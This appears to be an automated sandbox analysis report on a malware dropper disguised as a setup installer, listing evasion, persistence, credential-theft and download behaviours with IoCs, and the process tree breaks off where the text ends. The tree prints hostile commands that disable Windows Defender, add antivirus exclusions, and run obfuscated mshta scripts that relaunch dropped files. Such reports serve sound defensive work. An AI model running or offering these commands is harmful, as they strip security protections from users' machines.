djvu | 5bfb87691070668037df7a6bc1eac92bdb683ada3159b83c136146632835cb7f

System Information Discovery

Processes:

6vHxERVsfq3r4pogW_PEr4tk.exev7t3PuQEhKurwc5s863lggaK.exe264fID3P0gCNPBIx4QPDA5PZ.exewf0tp0Zft8C_a31wVoDKwm8c.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	6vHxERVsfq3r4pogW_PEr4tk.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	v7t3PuQEhKurwc5s863lggaK.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	v7t3PuQEhKurwc5s863lggaK.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	264fID3P0gCNPBIx4QPDA5PZ.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	264fID3P0gCNPBIx4QPDA5PZ.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	wf0tp0Zft8C_a31wVoDKwm8c.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	wf0tp0Zft8C_a31wVoDKwm8c.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	6vHxERVsfq3r4pogW_PEr4tk.exe

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

System Information Discovery

Processes:

Fri05b5df5106928d62.exeFri051e1e7444.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-2481030822-2828258191-1606198294-1000\Control Panel\International\Geo\Nation	Fri05b5df5106928d62.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2481030822-2828258191-1606198294-1000\Control Panel\International\Geo\Nation	Fri051e1e7444.exe

Identifies Wine through registry keys 2 TTPs 1 IoCs
Wine is a compatibility layer capable of running Windows applications, which can be used as sandboxing environment.
evasion

Query Registry
T1012

Virtualization/Sandbox Evasion
T1497

Processes:

UGaalVoWejqNDO99CTnza_6F.exe

description ioc process

Key opened \REGISTRY\USER\S-1-5-21-2481030822-2828258191-1606198294-1000\Software\Wine UGaalVoWejqNDO99CTnza_6F.exe

description	ioc	process
Key opened	\REGISTRY\USER\S-1-5-21-2481030822-2828258191-1606198294-1000\Software\Wine	UGaalVoWejqNDO99CTnza_6F.exe

Loads dropped DLL 12 IoCs

Processes:

setup_install.exeFri05eeb2dae7b88520a.tmpFri05eeb2dae7b88520a.tmpCalculator Installation.exe

pid	process
1576	setup_install.exe
1576	setup_install.exe
1576	setup_install.exe
1576	setup_install.exe
1576	setup_install.exe
1576	setup_install.exe
1576	setup_install.exe
1576	setup_install.exe
384	Fri05eeb2dae7b88520a.tmp
3864	Fri05eeb2dae7b88520a.tmp
4500	Calculator Installation.exe
4500	Calculator Installation.exe

Modifies file permissions 1 TTPs 1 IoCs
discovery

File Permissions Modification
T1222

Processes:

icacls.exe

pid process

5660 icacls.exe
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

pid	process
5660	icacls.exe

Checks whether UAC is enabled 1 TTPs 4 IoCs

evasion trojan

System Information Discovery

Processes:

v7t3PuQEhKurwc5s863lggaK.exewf0tp0Zft8C_a31wVoDKwm8c.exe6vHxERVsfq3r4pogW_PEr4tk.exe264fID3P0gCNPBIx4QPDA5PZ.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	v7t3PuQEhKurwc5s863lggaK.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	wf0tp0Zft8C_a31wVoDKwm8c.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	6vHxERVsfq3r4pogW_PEr4tk.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	264fID3P0gCNPBIx4QPDA5PZ.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs

Web Service
T1102

Looks up external IP address via web service 20 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

Processes:

flow	ioc
44	ipinfo.io
282	ipinfo.io
505	ipinfo.io
520	ipinfo.io
871	api.2ip.ua
5791	api.2ip.ua
7531	api.2ip.ua
43	ipinfo.io
48	ipinfo.io
283	ipinfo.io
519	ipinfo.io
869	api.2ip.ua
1378	api.2ip.ua
8	ip-api.com
279	ipinfo.io
1374	api.2ip.ua
7386	ipinfo.io
506	ipinfo.io
5790	api.2ip.ua
7388	ipinfo.io

Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

Processes:

wf0tp0Zft8C_a31wVoDKwm8c.exe6vHxERVsfq3r4pogW_PEr4tk.exe

pid process

4996 wf0tp0Zft8C_a31wVoDKwm8c.exe
3140 6vHxERVsfq3r4pogW_PEr4tk.exe

pid	process
4996	wf0tp0Zft8C_a31wVoDKwm8c.exe
3140	6vHxERVsfq3r4pogW_PEr4tk.exe

Suspicious use of SetThreadContext 5 IoCs

Processes:

Fri05f84fa77402bf.execmd.exeFri05a277b9a3d2.exeMV322BxAF64ghLSmEVTcxYlh.exe4304249.exe

description	pid	process	target process
PID 2464 set thread context of 4228	2464	Fri05f84fa77402bf.exe	Fri05f84fa77402bf.exe
PID 1396 set thread context of 4236	1396	cmd.exe	Fri053f5694ea31c9a.exe
PID 1524 set thread context of 4244	1524	Fri05a277b9a3d2.exe	Fri05a277b9a3d2.exe
PID 4924 set thread context of 5168	4924	MV322BxAF64ghLSmEVTcxYlh.exe	MV322BxAF64ghLSmEVTcxYlh.exe
PID 3760 set thread context of 5380	3760	4304249.exe	zhPR55CccD3lVBRITaEjTeIx.exe

Drops file in Program Files directory 8 IoCs

Processes:

Fri05eeb2dae7b88520a.tmpsetup.exe

description	ioc	process
File opened for modification	C:\Program Files (x86)\FarLabUninstaller\unins000.dat	Fri05eeb2dae7b88520a.tmp
File opened for modification	C:\Program Files (x86)\Company\NewProduct\cutm3.exe	setup.exe
File opened for modification	C:\Program Files (x86)\Company\NewProduct\DownFlSetup999.exe	setup.exe
File opened for modification	C:\Program Files (x86)\Company\NewProduct\inst3.exe	setup.exe
File opened for modification	C:\Program Files (x86)\Company\NewProduct\Uninstall.exe	setup.exe
File created	C:\Program Files (x86)\Company\NewProduct\Uninstall.ini	setup.exe
File created	C:\Program Files (x86)\FarLabUninstaller\unins000.dat	Fri05eeb2dae7b88520a.tmp
File created	C:\Program Files (x86)\FarLabUninstaller\is-JNERI.tmp	Fri05eeb2dae7b88520a.tmp

Drops file in Windows directory 1 IoCs

Processes:

WerFault.exe

description ioc process

File created C:\Windows\AppCompat\Programs\Amcache.hve.tmp WerFault.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

description	ioc	process
File created	C:\Windows\AppCompat\Programs\Amcache.hve.tmp	WerFault.exe

Program crash 18 IoCs

Processes:

WerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exe

pid	pid_target	process	target process
4800	4300	WerFault.exe	5.exe
5412	4896	WerFault.exe	fwQxF6gFvmRfM7KpaPloAtpN.exe
804	4208	WerFault.exe	4.exe
5712	812	WerFault.exe	5JV3E4XZxl30pGw9BCvnorNJ.exe
5456	812	WerFault.exe	5JV3E4XZxl30pGw9BCvnorNJ.exe
5788	4896	WerFault.exe	fwQxF6gFvmRfM7KpaPloAtpN.exe
3848	812	WerFault.exe	5JV3E4XZxl30pGw9BCvnorNJ.exe
5768	4896	WerFault.exe	fwQxF6gFvmRfM7KpaPloAtpN.exe
5836	812	WerFault.exe	5JV3E4XZxl30pGw9BCvnorNJ.exe
5328	4896	WerFault.exe	fwQxF6gFvmRfM7KpaPloAtpN.exe
6416	4380	WerFault.exe	setup.exe
4952	4380	WerFault.exe	setup.exe
4328	4380	WerFault.exe	setup.exe
6540	812	WerFault.exe	5JV3E4XZxl30pGw9BCvnorNJ.exe
200	4380	WerFault.exe	setup.exe
2008	4380	WerFault.exe	setup.exe
628	4380	WerFault.exe	setup.exe
5780	4140	WerFault.exe	Soft1WW02.exe

Checks SCSI registry key(s) 3 TTPs 3 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

Processes:

Fri0541e16ce794d258f.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Fri0541e16ce794d258f.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Fri0541e16ce794d258f.exe
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Fri0541e16ce794d258f.exe

Creates scheduled task(s) 1 TTPs 14 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task

Processes:

schtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exe

pid	process
4184	schtasks.exe
7596	schtasks.exe
9504	schtasks.exe
4728	schtasks.exe
6756	schtasks.exe
3876	schtasks.exe
6220	schtasks.exe
2008	schtasks.exe
6576	schtasks.exe
10060	schtasks.exe
6496	schtasks.exe
6608	schtasks.exe
6812	schtasks.exe
8312	schtasks.exe

Delays execution with timeout.exe 2 IoCs
evasion

Processes:

timeout.exetimeout.exe

pid process

6588 timeout.exe
6592 timeout.exe
Download via BitsAdmin 1 TTPs 2 IoCs
dropper

BITS Jobs
T1197

Processes:

bitsadmin.exebitsadmin.exe

pid process

9688 bitsadmin.exe
8620 bitsadmin.exe

pid	process
6588	timeout.exe
6592	timeout.exe

pid	process
9688	bitsadmin.exe
8620	bitsadmin.exe

Kills process with taskkill 10 IoCs

evasion

Processes:

taskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exe

pid	process
4532	taskkill.exe
9988	taskkill.exe
8248	taskkill.exe
4624	taskkill.exe
4464	taskkill.exe
5416	taskkill.exe
7896	taskkill.exe
5784	taskkill.exe
4436	taskkill.exe
4780	taskkill.exe

Modifies registry class 3 IoCs

Processes:

description	ioc	process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{4336a54d-038b-4685-ab02-99bb52d3fb8b}\Instance
Key created	\REGISTRY\USER\S-1-5-21-2481030822-2828258191-1606198294-1000_Classes\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\Instance

Script User-Agent 1 IoCs
Uses user-agent string associated with script host/environment.

Processes:

description flow ioc

HTTP User-Agent header 165 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)

description	flow	ioc
HTTP User-Agent header	165	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

Fri0541e16ce794d258f.exeFri05b5df5106928d62.exe

pid	process
2108	Fri0541e16ce794d258f.exe
2108	Fri0541e16ce794d258f.exe
2100	Fri05b5df5106928d62.exe
2100	Fri05b5df5106928d62.exe
2100	Fri05b5df5106928d62.exe
2100	Fri05b5df5106928d62.exe
2100	Fri05b5df5106928d62.exe
2100	Fri05b5df5106928d62.exe
2100	Fri05b5df5106928d62.exe
2100	Fri05b5df5106928d62.exe
2100	Fri05b5df5106928d62.exe
2100	Fri05b5df5106928d62.exe
2100	Fri05b5df5106928d62.exe
2100	Fri05b5df5106928d62.exe
2100	Fri05b5df5106928d62.exe
2100	Fri05b5df5106928d62.exe
2100	Fri05b5df5106928d62.exe
2100	Fri05b5df5106928d62.exe
2100	Fri05b5df5106928d62.exe
2100	Fri05b5df5106928d62.exe
2100	Fri05b5df5106928d62.exe
2100	Fri05b5df5106928d62.exe
2100	Fri05b5df5106928d62.exe
2100	Fri05b5df5106928d62.exe
2100	Fri05b5df5106928d62.exe
2100	Fri05b5df5106928d62.exe
2100	Fri05b5df5106928d62.exe
2100	Fri05b5df5106928d62.exe
2100	Fri05b5df5106928d62.exe
2100	Fri05b5df5106928d62.exe
2100	Fri05b5df5106928d62.exe
2100	Fri05b5df5106928d62.exe
2100	Fri05b5df5106928d62.exe
2100	Fri05b5df5106928d62.exe
2100	Fri05b5df5106928d62.exe
2100	Fri05b5df5106928d62.exe
2100	Fri05b5df5106928d62.exe
2100	Fri05b5df5106928d62.exe
2100	Fri05b5df5106928d62.exe
2100	Fri05b5df5106928d62.exe
2100	Fri05b5df5106928d62.exe
2100	Fri05b5df5106928d62.exe
2100	Fri05b5df5106928d62.exe
2100	Fri05b5df5106928d62.exe
2100	Fri05b5df5106928d62.exe
2100	Fri05b5df5106928d62.exe
2100	Fri05b5df5106928d62.exe
2100	Fri05b5df5106928d62.exe
2100	Fri05b5df5106928d62.exe
2100	Fri05b5df5106928d62.exe
2100	Fri05b5df5106928d62.exe
2100	Fri05b5df5106928d62.exe
2100	Fri05b5df5106928d62.exe
2100	Fri05b5df5106928d62.exe
2100	Fri05b5df5106928d62.exe
2100	Fri05b5df5106928d62.exe
2100	Fri05b5df5106928d62.exe
2100	Fri05b5df5106928d62.exe
2100	Fri05b5df5106928d62.exe
2100	Fri05b5df5106928d62.exe
2100	Fri05b5df5106928d62.exe
2100	Fri05b5df5106928d62.exe
2100	Fri05b5df5106928d62.exe
2100	Fri05b5df5106928d62.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

Processes:

pid process

3000
Suspicious behavior: MapViewOfSection 1 IoCs

Processes:

Fri0541e16ce794d258f.exe

pid process

2108 Fri0541e16ce794d258f.exe

pid	process
3000

Suspicious use of AdjustPrivilegeToken 64 IoCs

Processes:

Fri055cc2a6e65.exeFri05890d11cdb13f95e.exepowershell.exepowershell.exeFri0575b7d291a755f8.exeBCleanSoft82.exe4.exe5.exe

description	pid	process
Token: SeCreateTokenPrivilege	660	Fri055cc2a6e65.exe
Token: SeAssignPrimaryTokenPrivilege	660	Fri055cc2a6e65.exe
Token: SeLockMemoryPrivilege	660	Fri055cc2a6e65.exe
Token: SeIncreaseQuotaPrivilege	660	Fri055cc2a6e65.exe
Token: SeMachineAccountPrivilege	660	Fri055cc2a6e65.exe
Token: SeTcbPrivilege	660	Fri055cc2a6e65.exe
Token: SeSecurityPrivilege	660	Fri055cc2a6e65.exe
Token: SeTakeOwnershipPrivilege	660	Fri055cc2a6e65.exe
Token: SeLoadDriverPrivilege	660	Fri055cc2a6e65.exe
Token: SeSystemProfilePrivilege	660	Fri055cc2a6e65.exe
Token: SeSystemtimePrivilege	660	Fri055cc2a6e65.exe
Token: SeProfSingleProcessPrivilege	660	Fri055cc2a6e65.exe
Token: SeIncBasePriorityPrivilege	660	Fri055cc2a6e65.exe
Token: SeCreatePagefilePrivilege	660	Fri055cc2a6e65.exe
Token: SeCreatePermanentPrivilege	660	Fri055cc2a6e65.exe
Token: SeBackupPrivilege	660	Fri055cc2a6e65.exe
Token: SeRestorePrivilege	660	Fri055cc2a6e65.exe
Token: SeShutdownPrivilege	660	Fri055cc2a6e65.exe
Token: SeDebugPrivilege	660	Fri055cc2a6e65.exe
Token: SeAuditPrivilege	660	Fri055cc2a6e65.exe
Token: SeSystemEnvironmentPrivilege	660	Fri055cc2a6e65.exe
Token: SeChangeNotifyPrivilege	660	Fri055cc2a6e65.exe
Token: SeRemoteShutdownPrivilege	660	Fri055cc2a6e65.exe
Token: SeUndockPrivilege	660	Fri055cc2a6e65.exe
Token: SeSyncAgentPrivilege	660	Fri055cc2a6e65.exe
Token: SeEnableDelegationPrivilege	660	Fri055cc2a6e65.exe
Token: SeManageVolumePrivilege	660	Fri055cc2a6e65.exe
Token: SeImpersonatePrivilege	660	Fri055cc2a6e65.exe
Token: SeCreateGlobalPrivilege	660	Fri055cc2a6e65.exe
Token: 31	660	Fri055cc2a6e65.exe
Token: 32	660	Fri055cc2a6e65.exe
Token: 33	660	Fri055cc2a6e65.exe
Token: 34	660	Fri055cc2a6e65.exe
Token: 35	660	Fri055cc2a6e65.exe
Token: SeDebugPrivilege	1912	Fri05890d11cdb13f95e.exe
Token: SeDebugPrivilege	868	powershell.exe
Token: SeDebugPrivilege	3168	powershell.exe
Token: SeDebugPrivilege	1208	Fri0575b7d291a755f8.exe
Token: SeShutdownPrivilege	3000
Token: SeCreatePagefilePrivilege	3000
Token: SeShutdownPrivilege	3000
Token: SeCreatePagefilePrivilege	3000
Token: SeShutdownPrivilege	3000
Token: SeCreatePagefilePrivilege	3000
Token: SeShutdownPrivilege	3000
Token: SeCreatePagefilePrivilege	3000
Token: SeShutdownPrivilege	3000
Token: SeCreatePagefilePrivilege	3000
Token: SeShutdownPrivilege	3000
Token: SeCreatePagefilePrivilege	3000
Token: SeDebugPrivilege	3560	BCleanSoft82.exe
Token: SeDebugPrivilege	4208	4.exe
Token: SeDebugPrivilege	4300	5.exe
Token: SeShutdownPrivilege	3000
Token: SeCreatePagefilePrivilege	3000
Token: SeShutdownPrivilege	3000
Token: SeCreatePagefilePrivilege	3000
Token: SeShutdownPrivilege	3000
Token: SeCreatePagefilePrivilege	3000
Token: SeShutdownPrivilege	3000
Token: SeCreatePagefilePrivilege	3000
Token: SeShutdownPrivilege	3000
Token: SeCreatePagefilePrivilege	3000
Token: SeShutdownPrivilege	3000

Suspicious use of FindShellTrayWindow 3 IoCs

Processes:

Fri05eeb2dae7b88520a.tmp

pid process

3864 Fri05eeb2dae7b88520a.tmp
3000
3000

pid	process
3864	Fri05eeb2dae7b88520a.tmp
3000
3000

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

setup_x86_x64_install.exesetup_installer.exesetup_install.execmd.execmd.execmd.execmd.execmd.execmd.exe

description	pid	process	target process
PID 2864 wrote to memory of 1768	2864	setup_x86_x64_install.exe	setup_installer.exe
PID 2864 wrote to memory of 1768	2864	setup_x86_x64_install.exe	setup_installer.exe
PID 2864 wrote to memory of 1768	2864	setup_x86_x64_install.exe	setup_installer.exe
PID 1768 wrote to memory of 1576	1768	setup_installer.exe	setup_install.exe
PID 1768 wrote to memory of 1576	1768	setup_installer.exe	setup_install.exe
PID 1768 wrote to memory of 1576	1768	setup_installer.exe	setup_install.exe
PID 1576 wrote to memory of 3908	1576	setup_install.exe	cmd.exe
PID 1576 wrote to memory of 3908	1576	setup_install.exe	cmd.exe
PID 1576 wrote to memory of 3908	1576	setup_install.exe	cmd.exe
PID 1576 wrote to memory of 1480	1576	setup_install.exe	cmd.exe
PID 1576 wrote to memory of 1480	1576	setup_install.exe	cmd.exe
PID 1576 wrote to memory of 1480	1576	setup_install.exe	cmd.exe
PID 1576 wrote to memory of 3556	1576	setup_install.exe	cmd.exe
PID 1576 wrote to memory of 3556	1576	setup_install.exe	cmd.exe
PID 1576 wrote to memory of 3556	1576	setup_install.exe	cmd.exe
PID 1576 wrote to memory of 4072	1576	setup_install.exe	cmd.exe
PID 1576 wrote to memory of 4072	1576	setup_install.exe	cmd.exe
PID 1576 wrote to memory of 4072	1576	setup_install.exe	cmd.exe
PID 1576 wrote to memory of 3504	1576	setup_install.exe	cmd.exe
PID 1576 wrote to memory of 3504	1576	setup_install.exe	cmd.exe
PID 1576 wrote to memory of 3504	1576	setup_install.exe	cmd.exe
PID 1576 wrote to memory of 364	1576	setup_install.exe	cmd.exe
PID 1576 wrote to memory of 364	1576	setup_install.exe	cmd.exe
PID 1576 wrote to memory of 364	1576	setup_install.exe	cmd.exe
PID 1576 wrote to memory of 2820	1576	setup_install.exe	cmd.exe
PID 1576 wrote to memory of 2820	1576	setup_install.exe	cmd.exe
PID 1576 wrote to memory of 2820	1576	setup_install.exe	cmd.exe
PID 1576 wrote to memory of 1676	1576	setup_install.exe	cmd.exe
PID 1576 wrote to memory of 1676	1576	setup_install.exe	cmd.exe
PID 1576 wrote to memory of 1676	1576	setup_install.exe	cmd.exe
PID 1576 wrote to memory of 3688	1576	setup_install.exe	cmd.exe
PID 1576 wrote to memory of 3688	1576	setup_install.exe	cmd.exe
PID 1576 wrote to memory of 3688	1576	setup_install.exe	cmd.exe
PID 1576 wrote to memory of 1748	1576	setup_install.exe	cmd.exe
PID 1576 wrote to memory of 1748	1576	setup_install.exe	cmd.exe
PID 1576 wrote to memory of 1748	1576	setup_install.exe	cmd.exe
PID 3504 wrote to memory of 660	3504	cmd.exe	Fri055cc2a6e65.exe
PID 3504 wrote to memory of 660	3504	cmd.exe	Fri055cc2a6e65.exe
PID 3504 wrote to memory of 660	3504	cmd.exe	Fri055cc2a6e65.exe
PID 1576 wrote to memory of 588	1576	setup_install.exe	cmd.exe
PID 1576 wrote to memory of 588	1576	setup_install.exe	cmd.exe
PID 1576 wrote to memory of 588	1576	setup_install.exe	cmd.exe
PID 3908 wrote to memory of 868	3908	cmd.exe	powershell.exe
PID 3908 wrote to memory of 868	3908	cmd.exe	powershell.exe
PID 3908 wrote to memory of 868	3908	cmd.exe	powershell.exe
PID 3556 wrote to memory of 336	3556	cmd.exe	Fri05eeb2dae7b88520a.exe
PID 3556 wrote to memory of 336	3556	cmd.exe	Fri05eeb2dae7b88520a.exe
PID 3556 wrote to memory of 336	3556	cmd.exe	Fri05eeb2dae7b88520a.exe
PID 1576 wrote to memory of 3208	1576	setup_install.exe	cmd.exe
PID 1576 wrote to memory of 3208	1576	setup_install.exe	cmd.exe
PID 1576 wrote to memory of 3208	1576	setup_install.exe	cmd.exe
PID 1480 wrote to memory of 3168	1480	cmd.exe	powershell.exe
PID 1480 wrote to memory of 3168	1480	cmd.exe	powershell.exe
PID 1480 wrote to memory of 3168	1480	cmd.exe	powershell.exe
PID 4072 wrote to memory of 1812	4072	cmd.exe	Fri05beb1e355.exe
PID 4072 wrote to memory of 1812	4072	cmd.exe	Fri05beb1e355.exe
PID 1576 wrote to memory of 2252	1576	setup_install.exe	cmd.exe
PID 1576 wrote to memory of 2252	1576	setup_install.exe	cmd.exe
PID 1576 wrote to memory of 2252	1576	setup_install.exe	cmd.exe
PID 2820 wrote to memory of 1524	2820	cmd.exe	Fri05a277b9a3d2.exe
PID 2820 wrote to memory of 1524	2820	cmd.exe	Fri05a277b9a3d2.exe
PID 2820 wrote to memory of 1524	2820	cmd.exe	Fri05a277b9a3d2.exe
PID 1576 wrote to memory of 1868	1576	setup_install.exe	cmd.exe
PID 1576 wrote to memory of 1868	1576	setup_install.exe	cmd.exe

C:\Users\Admin\AppData\Local\Temp\setup_x86_x64_install.exe
"C:\Users\Admin\AppData\Local\Temp\setup_x86_x64_install.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:2864

C:\Users\Admin\AppData\Local\Temp\setup_installer.exe
"C:\Users\Admin\AppData\Local\Temp\setup_installer.exe"
2⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:1768

C:\Users\Admin\AppData\Local\Temp\7zS8E6C1EC5\setup_install.exe
"C:\Users\Admin\AppData\Local\Temp\7zS8E6C1EC5\setup_install.exe"
3⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1576

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c powershell -inputformat none -outputformat none -NonInteractive -Command Set-MpPreference -DisableRealtimeMonitoring $true -SubmitSamplesConsent NeverSend -MAPSReporting Disable
4⤵
- Suspicious use of WriteProcessMemory
PID:3908

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -inputformat none -outputformat none -NonInteractive -Command Set-MpPreference -DisableRealtimeMonitoring $true -SubmitSamplesConsent NeverSend -MAPSReporting Disable
5⤵
- Suspicious use of AdjustPrivilegeToken
PID:868

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"
4⤵
- Suspicious use of WriteProcessMemory
PID:1480

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"
5⤵
- Suspicious use of AdjustPrivilegeToken
PID:3168

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c Fri05eeb2dae7b88520a.exe
4⤵
- Suspicious use of WriteProcessMemory
PID:3556

C:\Users\Admin\AppData\Local\Temp\7zS8E6C1EC5\Fri05eeb2dae7b88520a.exe
Fri05eeb2dae7b88520a.exe
5⤵
- Executes dropped EXE
PID:336

C:\Users\Admin\AppData\Local\Temp\is-9T5NH.tmp\Fri05eeb2dae7b88520a.tmp
"C:\Users\Admin\AppData\Local\Temp\is-9T5NH.tmp\Fri05eeb2dae7b88520a.tmp" /SL5="$401DA,140785,56832,C:\Users\Admin\AppData\Local\Temp\7zS8E6C1EC5\Fri05eeb2dae7b88520a.exe"
6⤵
- Executes dropped EXE
- Loads dropped DLL
PID:384

C:\Users\Admin\AppData\Local\Temp\7zS8E6C1EC5\Fri05eeb2dae7b88520a.exe
"C:\Users\Admin\AppData\Local\Temp\7zS8E6C1EC5\Fri05eeb2dae7b88520a.exe" /SILENT
7⤵
PID:808

C:\Users\Admin\AppData\Local\Temp\is-J0GJ7.tmp\Fri05eeb2dae7b88520a.tmp
"C:\Users\Admin\AppData\Local\Temp\is-J0GJ7.tmp\Fri05eeb2dae7b88520a.tmp" /SL5="$B0062,140785,56832,C:\Users\Admin\AppData\Local\Temp\7zS8E6C1EC5\Fri05eeb2dae7b88520a.exe" /SILENT
8⤵
- Executes dropped EXE
- Loads dropped DLL
- Drops file in Program Files directory
- Suspicious use of FindShellTrayWindow
PID:3864

C:\Users\Admin\AppData\Local\Temp\is-NDDKE.tmp\postback.exe
"C:\Users\Admin\AppData\Local\Temp\is-NDDKE.tmp\postback.exe" ss1
9⤵
- Executes dropped EXE
PID:4448

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c Fri05beb1e355.exe
4⤵
- Suspicious use of WriteProcessMemory
PID:4072

C:\Users\Admin\AppData\Local\Temp\7zS8E6C1EC5\Fri05beb1e355.exe
Fri05beb1e355.exe
5⤵
- Executes dropped EXE
PID:1812

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c Fri05cc28ce70b.exe
4⤵
PID:364

C:\Users\Admin\AppData\Local\Temp\7zS8E6C1EC5\Fri05cc28ce70b.exe
Fri05cc28ce70b.exe
5⤵
- Executes dropped EXE
PID:1100

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\System32\mshta.exe" vbScRIPT: cLOse ( CreateoBJeCT( "WSCRipT.shell" ). Run( "CMd.exe /q /R coPY /Y ""C:\Users\Admin\AppData\Local\Temp\7zS8E6C1EC5\Fri05cc28ce70b.exe"" EiV4.Exe &&START EIv4.Exe /pllbp0ygmDYA & if """" == """" for %j IN ( ""C:\Users\Admin\AppData\Local\Temp\7zS8E6C1EC5\Fri05cc28ce70b.exe"") do taskkill -f /im ""%~Nxj"" " , 0 ,truE ) )
6⤵
PID:2480

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /q /R coPY /Y "C:\Users\Admin\AppData\Local\Temp\7zS8E6C1EC5\Fri05cc28ce70b.exe" EiV4.Exe &&START EIv4.Exe /pllbp0ygmDYA & if "" == "" for %j IN ( "C:\Users\Admin\AppData\Local\Temp\7zS8E6C1EC5\Fri05cc28ce70b.exe") do taskkill -f /im "%~Nxj"
7⤵
PID:500

C:\Users\Admin\AppData\Local\Temp\EiV4.Exe
EIv4.Exe /pllbp0ygmDYA
8⤵
- Executes dropped EXE
PID:4432

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\System32\mshta.exe" vbScRIPT: cLOse ( CreateoBJeCT( "WSCRipT.shell" ). Run( "CMd.exe /q /R coPY /Y ""C:\Users\Admin\AppData\Local\Temp\EiV4.Exe"" EiV4.Exe &&START EIv4.Exe /pllbp0ygmDYA & if ""/pllbp0ygmDYA "" == """" for %j IN ( ""C:\Users\Admin\AppData\Local\Temp\EiV4.Exe"") do taskkill -f /im ""%~Nxj"" " , 0 ,truE ) )
9⤵
PID:5028

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /q /R coPY /Y "C:\Users\Admin\AppData\Local\Temp\EiV4.Exe" EiV4.Exe &&START EIv4.Exe /pllbp0ygmDYA & if "/pllbp0ygmDYA " == "" for %j IN ( "C:\Users\Admin\AppData\Local\Temp\EiV4.Exe") do taskkill -f /im "%~Nxj"
10⤵
PID:5596

C:\Windows\SysWOW64\mshta.exe
